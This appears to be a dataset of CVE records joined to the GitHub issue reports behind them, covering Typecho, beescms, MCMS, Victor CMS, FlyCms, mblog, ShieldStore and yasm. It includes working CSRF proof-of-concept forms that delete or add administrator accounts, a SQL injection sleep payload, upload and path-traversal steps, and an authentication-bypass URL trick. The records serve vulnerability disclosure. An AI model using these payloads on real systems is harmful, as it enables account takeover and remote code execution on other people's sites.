4.如果不为空则调用redirect()函数进行重定向，location参数可控，即用户的referer的请求来源，恶意的攻击者可利用登录后的重定向将用户引诱至一个恶意的钓鱼页面。并且可以通过注册相似域名提高信任度，只需要将注册好的域名安装typecho，将用户重定向至自己本域的登录地址，然后通过查看本地的登录日志即可获取其他管理用户的帐号密码。
5.rediect() > Typecho_Common::safeUrl()函数对referer的参数进行过滤及校验协议是否为http/https
6.rediect() > self::buildUrl()函数根据parse_url的结果重新组合url
7.redirect()根据isPermanently参数进行301/302跳转
修复方案：
1.校验用户登录以后的referer地址为本域
2.并且只允许本域内进行跳转
### 3. 问题出现的环境
- 操作系统版本：Linux kali 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-3kali1 (2019-11-20) x86_64 GNU/Linux
- Apache/NGINX 版本：Server version: Apache/2.4.41 (Debian)，Server built: 2019-08-14T04:42:29
- 数据库版本：mariadb Ver 15.1 Distrib 10.3.20-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
- PHP 版本：PHP 7.3.10-1+b1 (cli) (built: Oct 13 2019 23:50:57) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.3.10, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.3.10-1+b1, Copyright (c) 1999-2018, by Zend Technologies
- Typecho 版本：1.1-17.10.30-release
- 浏览器版本：Chromium 81.0.4044.92 built on Debian bullseye/sid, running on Debian kali-rolling
[//]: # (如有图片请附上截图) | typecho登录后的url重定向漏洞 | Typecho latest version url jump vulnerability after login | https://api.github.com/repos/typecho/typecho/issues/952/comments | 2 | 2020-04-30T14:23:34Z | 2020-05-12T08:08:55Z | https://github.com/typecho/typecho/issues/952 | 610,060,236 | 952 | 5,080 |
CVE-2020-22334 | 2023-05-08T14:15:10.357 | Cross Site Request Forgery (CSRF) vulnerability in beescms v4 allows attackers to delete the administrator account via crafted request to /admin/admin_admin.php. | {
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Assume that the site has a root account administrator privilege
After the administrator logged in, open the following one page
POC：
```
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://172.20.10.4/admin/admin_admin.php">
<input type="hidden" name="action" value="admin_del" />
<input type="hidden" name="id" value="15" />
<input type="hidden" name="nav" value="main" />
<input type="hidden" name="admin_p_nav" value="main_info" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
[http://172.20.10.4/admin/admin_admin.php?nav=list_admin_user&admin_p_nav=user](url)
| There is a CSRF vulnerability that can delete the administrator account | https://api.github.com/repos/source-trace/beescms/issues/5/comments | 0 | 2020-02-29T08:14:46Z | 2020-02-29T08:14:46Z | https://github.com/source-trace/beescms/issues/5 | 573,248,688 | 5 | 5,081 |
CVE-2020-22755 | 2023-05-08T14:15:10.423 | File upload vulnerability in MCMS 5.0 allows attackers to execute arbitrary code via a crafted thumbnail. A different vulnerability than CVE-2022-31943. | {
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"Exploit",
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] | github.com | [
"ming-soft",
"MCMS"
] | 1、在文章管理，编辑一篇文章，可以上传文章缩略图
2、查看代码中对上传文件的限制，不允许上传exe和jsp文件
3、在文章缩略图哪里上传图片，拦截数据包，修改filename为**.jsp. 注意jsp后有个点，即可绕过对上传文件的限制（在windows系统上会自动去除后缀的最后一点.）
4、由于代码中没有对../等特殊字符进行限制，我们通过修改uploadPath来实现任意目录穿越，这样我们可以吧jsp或exe文件上传到任意目录下。
5、我们访问返回的url即可（要去点最后一个点）
| 安全问题-文章管理任意文件跨目录上传 | https://api.github.com/repos/ming-soft/MCMS/issues/42/comments | 3 | 2020-04-07T09:56:43Z | 2022-07-23T05:27:32Z | https://github.com/ming-soft/MCMS/issues/42 | 595,743,612 | 42 | 5,082 |
CVE-2020-23966 | 2023-05-08T14:15:10.493 | SQL Injection vulnerability in victor cms 1.0 allows attackers to execute arbitrary commands via the post parameter to /post.php in a crafted GET request. | {
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"Exploit",
"Issue Tracking"
] | github.com | [
"VictorAlagwu",
"CMSsite"
] | Hello, I found a SQL injection vulnerability in the post.php file. The post parameters in this file were not input filtered, and were directly brought into the database for query, which led to the vulnerability.
poc: post=1 and sleep(2) --
Delay the program for 2 seconds to query the data
To fix this vulnerability, you can use prepared statements like this:
$query = "SELECT * FROM posts WHERE post_id = ?";
$stmt = $sysConnect->prepare($sql);
$stmt->bind_param("i", $query);
$stmt->execute();
$result=$stmt->fetch();
| SQL Injection vulnerability in post.php | https://api.github.com/repos/VictorAlagwu/CMSsite/issues/15/comments | 0 | 2020-07-08T02:26:45Z | 2020-07-08T08:03:05Z | https://github.com/VictorAlagwu/CMSsite/issues/15 | 652,848,098 | 15 | 5,083 |
CVE-2020-36065 | 2023-05-08T14:15:10.563 | Cross Site Request Forgery (CSRF) vulnerability in FlyCms 1.0 allows attackers to add arbitrary administrator accounts via system/admin/admin_save. | {
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"Exploit",
"Issue Tracking"
] | github.com | [
"sunkaifei",
"FlyCms"
] | The Add administrator Function is not check referer and token
PoC：
```html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/system/admin/admin_save" method="POST">
<input type="hidden" name="adminName" value="Diazrael" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="repassword" value="123456" />
<input type="hidden" name="nickName" value="Diazrael" />
<input type="hidden" name="roleId" value="272835742965968896" />
<input type="hidden" name="email" value="Diazrael@admin.com" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
Problematic code：
```Java
//处理和保存管理员信息
@PostMapping("/admin_save")
@ResponseBody
public DataVo addAdminSave(@Valid Admin admin, BindingResult result){
DataVo data = DataVo.failure("操作失败");
try {
if (result.hasErrors()) {
List<ObjectError> list = result.getAllErrors();
for (ObjectError error : list) {
return DataVo.failure(error.getDefaultMessage());
}
return null;
}
data = adminService.addAdmin(admin);
} catch (Exception e) {
data = DataVo.failure(e.getMessage());
}
return data;
}
```
A super administrator account has been added successfully
| There is a CSRF vulnerability that can add the administrator account （/system/admin/admin_save） | https://api.github.com/repos/sunkaifei/FlyCms/issues/8/comments | 0 | 2020-12-23T12:02:18Z | 2020-12-23T12:02:18Z | https://github.com/sunkaifei/FlyCms/issues/8 | 773,705,575 | 8 | 5,084 |
CVE-2021-27280 | 2023-05-08T14:15:10.640 | OS Command injection vulnerability in mblog 3.5.0 allows attackers to execute arbitrary code via crafted theme when it gets selected. | {
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"Exploit",
"Issue Tracking"
] | github.com | [
"langhsu",
"mblog"
] | **Vulnerability description**
Test version: 3.5.0
Latest version: 3.5.0
Vulnerability profile:
The security component of Shiro 1.4.0 is used in mbog, which leads to privilege bypass. The attacker can bypass the privilege to upload files and finally execute commands.
The utilization process is as follows:
1. Construct malicious compressed package file“ evil.zip ”, which contains an FTL file, as shown in the figure below:
2. In unauthorized state, send multipart request to the following URL to upload malicious compressed package file
http://192.168.83.3/admin/theme/upload/
Or:
http://192.168.83.3/dist/..;/admin/theme/upload
3. Visit the following URL to start the template just uploaded,
If the uploaded package name is: ssr.zip , the URL below needs to be changed to theme = SSR
http://192.168.83.3/admin/theme/active/?theme=evil
Or:
http://192.168.83.3/dist/..;/admin/theme/active ?theme= evil
4. When the browser accesses index, you can see that the command in FTL has been executed successfully
**code analysis**
Step 1:
upload file code:
http://192.168.83.3/admin/theme/upload
In mblog version 4.0, Shiro version 1.4.0 is used. There are loopholes in privilege bypass and pandering oracle. You only need to use privilege to bypass the loopholes
Template management controller
src/main/java/com/mtons/mblog/web/controller/admin/ ThemeController.java
There are two types of requestmapping: upload template and enable template
In the upload method, receive the zip file uploaded by the user, judge the suffix, and pass the multipart file into the BlogUtils.uploadTheme () method
BlogUtils.uploadTheme In the () method, get the site.location Properties（ user.dir ）, mbog is a springboot application, which runs in a single jar. The following code obtains the current location, creates the / storage / templates directory under the current location, stores the user's uploaded zip file in this directory, and then creates a folder with the same name as the compressed package to store the files in the compressed package
Step 2:
enable the template code
http://192.168.83.3/admin/theme/active/?theme=evil
The corresponding controller file is in:
src/main/java/com/mtons/mblog/web/controller/admin/ ThemeController.java
The update method encapsulates the parameters in the request as a map and passes them into the optionsService.update () method
Later, it calls the contextStartup.reloadOptions (false) method
optionsService.update The () method implementation classes are as follows:
src/main/java/com/mtons/mblog/modules/service/impl/ OptionsServiceImpl.java
According to the key in the request parameter, the optionsRepository.findByKey In the () method, the optionsrepository object is the query object of spring data JPA. It has only interface but no specific implementation. It can be directly regarded as Dao layer code
Request parameter? Theme = evil,
Key corresponds to theme and value corresponds to evil
From the data table, according to the theme query, the value is assigned
Then execute optionsRepository.save () to update
stay contextStartup.reloadOptions (false) method
List<Options> options = optionsService.findAll (); find all the key and value in the database and encapsulate them into map objects, including the theme = evil passed just now
After fetching the theme attribute from the database, modify the system attribute. At this time, the preparatory work is completed. You only need to request the index page again to let the server load the malicious template index.ftl To trigger command execution
**Vulnerability submission information**
author：说书人
mail：1797565004@qq.com | Remote command execution caused by template injection vulnerability | https://api.github.com/repos/langhsu/mblog/issues/44/comments | 0 | 2021-02-10T10:49:41Z | 2023-03-08T02:45:34Z | https://github.com/langhsu/mblog/issues/44 | 805,399,759 | 44 | 5,085 |
CVE-2021-44283 | 2023-05-09T03:15:09.197 | A buffer overflow in the component /Enclave.cpp of Electronics and Telecommunications Research Institute ShieldStore commit 58d455617f99705f0ffd8a27616abdf77bdc1bdc allows attackers to cause an information leak via a crafted structure from an untrusted operating system. | {
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"tags": [
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"url": "http://electronics.com"
},
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"tags": [
"Broken Link"
],
"url": "http://shieldstore.com"
},
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"Issue Tracking"
] | github.com | [
"cocoppang",
"ShieldStore"
] | Hi,
We found a buffer overflow and a infomation leak in Enclave/Enclave.cpp.
There is a global variable "Arg arg_enclave;" in enclave and it is initialized in ecall "enclave_init_values". However it value is copyed from "arg" which is untrusted.
We found a member variable in structure "Arg" called "int max_buf_size;". Then we search the code to find where "max_buf_size" is used. We found two patterns:
First is like this "memset(cipher, 0, arg_enclave.max_buf_size);". For example it is used in "enclave_get", while the parametre "cipher" refers to the buf in "enclave_process", and its size is a constant(4125). So, arg_enclave.max_buf_size can be larger than the buffer size.
Second pattern is "message_return(cipher, arg_enclave.max_buf_size, client_sock);". Function "message_return" is an ocall which writes cipher to client_sock.
In function "enclave_message_pass" cipher is introduced from data which is original from "HotCall* hotEcall". While "hotEcall" is transferd from untrusted part.
So, attacker can set cipher points to arbitrary address in encalve and set client_sock to sdtout that will leak information in encalve.
Thanks,
yudhui
| Security issue | https://api.github.com/repos/cocoppang/ShieldStore/issues/19/comments | 2 | 2021-11-23T08:50:19Z | 2022-01-20T04:46:20Z | https://github.com/cocoppang/ShieldStore/issues/19 | 1,060,974,558 | 19 | 5,086 |
CVE-2023-31972 | 2023-05-09T13:15:18.503 | yasm v1.3.0 was discovered to contain a use after free via the function pp_getline at /nasm/nasm-pp.c. Note: Multiple third parties dispute this as a bug and not a vulnerability according to the YASM security policy. | {
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"yasm",
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] |
I found a heap-use-after-free in yasm.
Please confirm.
Thanks!
Test Environment
Ubuntu 20.04, 64 bit yasm (version: v1.3.0 ;master)
How to trigger
Compile the program with AddressSanitizer
Run command $ ./yasm -w -W -M $PoC
Details
ASAN report
$./yasm -w -W -M $PoC
```
yasm: warning: unrecognized option `-W'
yasm: file name already has no extension: output will be in `yasm.out'
=================================================================
==973256==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e0000011f0 at pc 0x0000005b191a bp 0x7ffe2af792f0 sp 0x7ffe2af792e8
READ of size 4 at 0x60e0000011f0 thread T0
#0 0x5b1919 in pp_getline /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5104:45
#1 0x5a7c61 in nasm_preproc_get_included_file /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-preproc.c:263:16
#2 0x4ce053 in do_preproc_only /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:310:23
#3 0x4cca12 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:724:16
#4 0x7f074a43c082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x41d46d in _start (/home/root/randomFuzz/yasm/yasm/yasm_w_W_M/yasm+0x41d46d)
0x60e0000011f0 is located 48 bytes inside of 160-byte region [0x60e0000011c0,0x60e000001260)
freed by thread T0 here:
#0 0x4999b2 in free (/home/root/randomFuzz/yasm/yasm/yasm_w_W_M/yasm+0x4999b2)
#1 0x53d597 in def_xfree /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/xmalloc.c:113:5
#2 0x5b381a in free_mmacro /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:1163:5
#3 0x5b05e3 in pp_getline /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5002:25
#4 0x5a7c61 in nasm_preproc_get_included_file /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-preproc.c:263:16
#5 0x4ce053 in do_preproc_only /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:310:23
#6 0x4cca12 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:724:16
#7 0x7f074a43c082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
previously allocated by thread T0 here:
#0 0x499c1d in __interceptor_malloc (/home/root/randomFuzz/yasm/yasm/yasm_w_W_M/yasm+0x499c1d)
#1 0x53d0af in def_xmalloc /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/xmalloc.c:69:14
#2 0x5c5744 in do_directive /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:3204:24
#3 0x5b13c1 in pp_getline /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5075:13
#4 0x5a7c61 in nasm_preproc_get_included_file /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-preproc.c:263:16
#5 0x4ce053 in do_preproc_only /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:310:23
#6 0x4cca12 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:724:16
#7 0x7f074a43c082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-use-after-free /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5104:45 in pp_getline
Shadow bytes around the buggy address:
0x0c1c7fff81e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff81f0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c1c7fff8200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff8210: 00 00 00 00 fa fa fa fa fa fa fa fa 00 00 00 00
0x0c1c7fff8220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1c7fff8230: fa fa fa fa fa fa fa fa fd fd fd fd fd fd[fd]fd
0x0c1c7fff8240: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c1c7fff8250: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c1c7fff8260: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c1c7fff8270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff8280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==973256==ABORTING
```
The URL of PoC is [PoC](https://github.com/randomssr/PoCs/blob/main/yasm/170-UAF) | yasm heap use-after-free bug | https://api.github.com/repos/yasm/yasm/issues/209/comments | 1 | 2023-03-01T02:17:35Z | 2023-05-10T05:20:07Z | https://github.com/yasm/yasm/issues/209 | 1,604,108,494 | 209 | 5,087 |
CVE-2023-31974 | 2023-05-09T13:15:18.550 | yasm v1.3.0 was discovered to contain a use after free via the function error at /nasm/nasm-pp.c. Note: Multiple third parties dispute this as a bug and not a vulnerability according to the YASM security policy. | {
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"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
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"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/yasm/yasm/issues/208"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/yasm/yasm/issues/208"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:tortall:yasm:1.3.0:*:*:*:*:*:*:*",
"matchCriteriaId": "1453CF78-5025-49BF-A1A6-C62F948B5735",
"versionEndExcluding": null,
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] | [
"416"
] | 416 | https://github.com/yasm/yasm/issues/208 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"yasm",
"yasm"
] |
I found a heap-use-after-free in yasm.
Please confirm.
Thanks!
Test Environment
Ubuntu 20.04, 64 bit yasm (version: v1.3.0 ;master)
How to trigger
Compile the program with AddressSanitizer
Run command $ ./yasm -w -W -M $PoC
Details
ASAN report
$./yasm -w -W -M $PoC
```
yasm: warning: unrecognized option `-W'
yasm: file name already has no extension: output will be in `yasm.out'
=================================================================
==973143==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e0000011c8 at pc 0x0000005b2d1b bp 0x7ffdc3713530 sp 0x7ffdc3713528
READ of size 8 at 0x60e0000011c8 thread T0
#0 0x5b2d1a in error /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:4823:43
#1 0x5b0c6b in pp_getline /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5042:21
#2 0x5a7c61 in nasm_preproc_get_included_file /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-preproc.c:263:16
#3 0x4ce053 in do_preproc_only /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:310:23
#4 0x4cca12 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:724:16
#5 0x7fae91912082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#6 0x41d46d in _start (/home/root/randomFuzz/yasm/yasm/yasm_w_W_M/yasm+0x41d46d)
0x60e0000011c8 is located 8 bytes inside of 160-byte region [0x60e0000011c0,0x60e000001260)
freed by thread T0 here:
#0 0x4999b2 in free (/home/root/randomFuzz/yasm/yasm/yasm_w_W_M/yasm+0x4999b2)
#1 0x53d597 in def_xfree /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/xmalloc.c:113:5
#2 0x5b381a in free_mmacro /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:1163:5
#3 0x5b05e3 in pp_getline /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5002:25
#4 0x5a7c61 in nasm_preproc_get_included_file /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-preproc.c:263:16
#5 0x4ce053 in do_preproc_only /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:310:23
#6 0x4cca12 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:724:16
#7 0x7fae91912082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
previously allocated by thread T0 here:
#0 0x499c1d in __interceptor_malloc (/home/root/randomFuzz/yasm/yasm/yasm_w_W_M/yasm+0x499c1d)
#1 0x53d0af in def_xmalloc /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/xmalloc.c:69:14
#2 0x5c5744 in do_directive /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:3204:24
#3 0x5b13c1 in pp_getline /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5075:13
#4 0x5a7c61 in nasm_preproc_get_included_file /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-preproc.c:263:16
#5 0x4ce053 in do_preproc_only /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:310:23
#6 0x4cca12 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:724:16
#7 0x7fae91912082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-use-after-free /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:4823:43 in error
Shadow bytes around the buggy address:
0x0c1c7fff81e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff81f0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c1c7fff8200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff8210: 00 00 00 00 fa fa fa fa fa fa fa fa 00 00 00 00
0x0c1c7fff8220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1c7fff8230: fa fa fa fa fa fa fa fa fd[fd]fd fd fd fd fd fd
0x0c1c7fff8240: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c1c7fff8250: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c1c7fff8260: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
0x0c1c7fff8270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff8280: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==973143==ABORTING
```
The URL of PoC is [PoC](https://github.com/randomssr/PoCs/blob/main/yasm/173-UAF) | yasm heap use-after-free bug | https://api.github.com/repos/yasm/yasm/issues/208/comments | 1 | 2023-03-01T02:08:44Z | 2023-05-10T05:20:11Z | https://github.com/yasm/yasm/issues/208 | 1,604,101,306 | 208 | 5,088 |
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